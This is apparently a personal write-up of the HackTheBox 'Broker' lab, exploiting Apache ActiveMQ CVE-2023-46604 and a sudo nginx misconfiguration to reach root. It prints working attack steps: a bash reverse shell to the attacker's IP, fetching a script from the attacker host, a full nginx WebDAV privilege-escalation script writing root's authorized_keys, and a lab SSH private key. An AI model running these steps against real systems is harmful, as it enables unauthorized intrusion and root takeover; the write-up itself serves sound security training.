niccolò@home:~$

HackTheBox - Broker

Field Details
OS Linux
Difficulty Easy
Release Date 2023-11-09
Pwned Date 2026-05-23
Tags Apache ActiveMQ CVE-2023-46604 ClassPathXmlApplicationContext Dav Methods Go Nginx Nginx Sudo Privesc OpenWire ProcessBuilder Spring Bean Sudo Misconfiguration

Summary

Broker is an easy difficulty Linux machine hosting Apache ActiveMQ. Enumerating the version of Apache ActiveMQ shows that it is vulnerable to Unauthenticated Remote Code Execution, which is leveraged to gain user access on the target. Post-exploitation enumeration reveals that the system has a sudo misconfiguration allowing the activemq user to execute sudo /usr/sbin/nginx, which is leveraged to gain root access.

Reconnaissance

Start with a general sweep of all tcp ports

nmap -p- --min-rate 5000 -oN all_tcp_ports.txt TARGET_IP
[snip]
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
1883/tcp  open  mqtt
5672/tcp  open  amqp
8161/tcp  open  patrol-snmp
42543/tcp open  unknown
61613/tcp open  unknown
61614/tcp open  unknown
61616/tcp open  unknown
[snip]

Run a more in-depth scan on the detected ports

nmap -sC -sV -p 22,80,1883,5672,8161,42543,61613,61614,61616 -oN service_scan.txt <TARGET_IP>
PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp    open  http       nginx 1.18.0 (Ubuntu)
|http-title: Error 401 Unauthorized
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|  basic realm=ActiveMQRealm
|_http-server-header: nginx/1.18.0 (Ubuntu)
1883/tcp  open  mqtt
|_mqtt-subscribe: Failed to receive control packet from server.
5672/tcp  open  amqp?
|amqp-info: ERROR: AQMP:handshake expected header (1) frame, but was 65
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, GetRequest, HTTPOptions, RPCCheck, RTSPRequest, SSLSessionReq, TerminalServerCookie:
|     AMQP
|     AMQP
|     amqp:decode-error
|    7Connection from client using unsupported AMQP attempted
8161/tcp  open  http       Jetty 9.4.39.v20210325
|http-title: Error 401 Unauthorized
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|  basic realm=ActiveMQRealm
|http-server-header: Jetty(9.4.39.v20210325)
42543/tcp open  tcpwrapped
61613/tcp open  stomp      Apache ActiveMQ
| fingerprint-strings:
|   HELP4STOMP:
|     ERROR
|     content-type:text/plain
|     message:Unknown STOMP action: HELP
|     org.apache.activemq.transport.stomp.ProtocolException: Unknown STOMP action: HELP
|     org.apache.activemq.transport.stomp.ProtocolConverter.onStompCommand(ProtocolConverter.java:258)
|     org.apache.activemq.transport.stomp.StompTransportFilter.onCommand(StompTransportFilter.java:85)
|     org.apache.activemq.transport.TransportSupport.doConsume(TransportSupport.java:83)
|     org.apache.activemq.transport.tcp.TcpTransport.doRun(TcpTransport.java:233)
|     org.apache.activemq.transport.tcp.TcpTransport.run(TcpTransport.java:215)
|    java.lang.Thread.run(Thread.java:750)
61614/tcp open  http       Jetty 9.4.39.v20210325
|http-server-header: Jetty(9.4.39.v20210325)
| http-methods:
|  Potentially risky methods: TRACE
|_http-title: Site doesn't have a title.
61616/tcp open  apachemq   ActiveMQ OpenWire transport 5.15.15

The box has an installation of Apache ActiveMQ, a message broker. All the listening ports are related to this service, except 22 (SSH).

Notice the line ‘ActiveMQ OpenWire transport 5.15.15’. Look for existing vulnerabilities affecting that version.

CVE –> https://www.rapid7.com/blog/post/2023/11/01/etr-suspected-exploitation-of-apache-activemq-cve-2023-46604/ Exploit PoC –> https://github.com/rootsecdev/CVE-2023-46604

The exploit uses a specific message type of the OpenWire protocol that makes the broker instantiate a java class by name. The vulnerability exists because the broker instantiate the class without any validation. The class instantiated by the exploit with this trick is org.springframework.context.support.ClassPathXmlApplicationContext: a Spring class that fetches a file from a url and processes any Spring Bean definition found in the file. The exploit defines a xml file that contains a Bean definition. The Bean is a ‘ProcessBuilder’, a Java class that runs system commands, and it’s configured to run a reverse shell.

Foothold

Get the exploit

git clone https://github.com/rootsecdev/CVE-2023-46604.git

Listen on the attacking machine for the incoming reverse shell connection

nc -lvnp 9001

Start a python webserver from the exploit’s dir: it’s required to serve the poc-linux.xml file (the file containing the bean definition) to the target

python -m http.server

Change the following line of the poc-linux.xml file with the ip of the attacking machine

<value>bash -i >& /dev/tcp/<ATTACKING_MACHINE_IP_GOES_HERE>/9001 0>&1</value>

Install go (if necessary) and run the exploit

sudo apt install golang-go
go run main.go -i <TARGET_IP> -p 61616 -u http://<ATTACKER_IP>:8000/poc-linux.xml

A connection should be received on the listening port

listening on [any] 9001 ...
connect to [10.10.14.131] from (UNKNOWN) [10.129.230.87] 47226
bash: cannot set terminal process group (879): Inappropriate ioctl for device
bash: no job control in this shell
activemq@broker:/opt/apache-activemq-5.15.15/bin$

A shell was established with user activemq.

Privilege Escalation

Check sudo permissions

sudo -l
[snip]
User activemq may run the following commands on broker:
    (ALL : ALL) NOPASSWD: /usr/sbin/nginx

The activemq user can run the ‘sudo /usr/sbin/nginx’ command without being prompted for password. This can be leveraged for local privilege escalation –> https://gist.github.com/DylanGrl/ab497e2f01c7d672a80ab9561a903406

The exploit runs a instance of nginx with root privileges and dav_methods PUT;. These methods are for file management automation via the WebDAV protocol. The exploit creates ssh keys and, thanks to the sudo access to nginx and the PUT method, is able to copy the ssh public key in /root/.ssh/authorized_keys. The private key is printed to the screen and can be used to log in as root via ssh.

This is the exploit code

echo "[+] Creating configuration..."
cat << EOF > /tmp/nginx_pwn.conf
user root;
worker_processes 4;
pid /tmp/nginx.pid;
events {
        worker_connections 768;
}
http {
        server {
                listen 1339;
                root /;
                autoindex on;
                dav_methods PUT;
        }
}
EOF
echo "[+] Loading configuration..."
sudo nginx -c /tmp/nginx_pwn.conf
echo "[+] Generating SSH Key..."
ssh-keygen
echo "[+] Display SSH Private Key for copy..."
cat .ssh/id_rsa
echo "[+] Add key to root user..."
curl -X PUT localhost:1339/root/.ssh/authorized_keys -d "$(cat .ssh/id_rsa.pub)"
echo "[+] Use the SSH key to get access"

Create a ‘privesc_nginx_exploit.sh’ file with the exploit code.

The exploit requires an interactive shell (because of the ssh-keygen command) so upgrade the shell on target

python3 -c 'import pty; pty.spawn("/bin/bash")'

Start the python webserver to serve the exploit to the target.

Fetch the exploit on target and make it executable

wget http://<ATTACKER_IP>:8000/privesc_nginx_exploit.sh
chmod +x privesc_nginx_exploit.sh

Run the script

./privesc_nginx_exploit.sh
[snip]
[+] Display SSH Private Key for copy...
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
[+] Add key to root user...
[+] Use the SSH key to get access

The script generated the keys, copied the public one in the root user ssh folder and printed the private one.

Copy the private key in a file named ‘root_key’ on the attacking machine. Adjust its permissions so ssh does not complain

chmod 600 root_key

Establish ssh connection with the root user using root_key

ssh -i root_key root@<TARGET_IP>
[snip]
root@broker:~#

Got root access.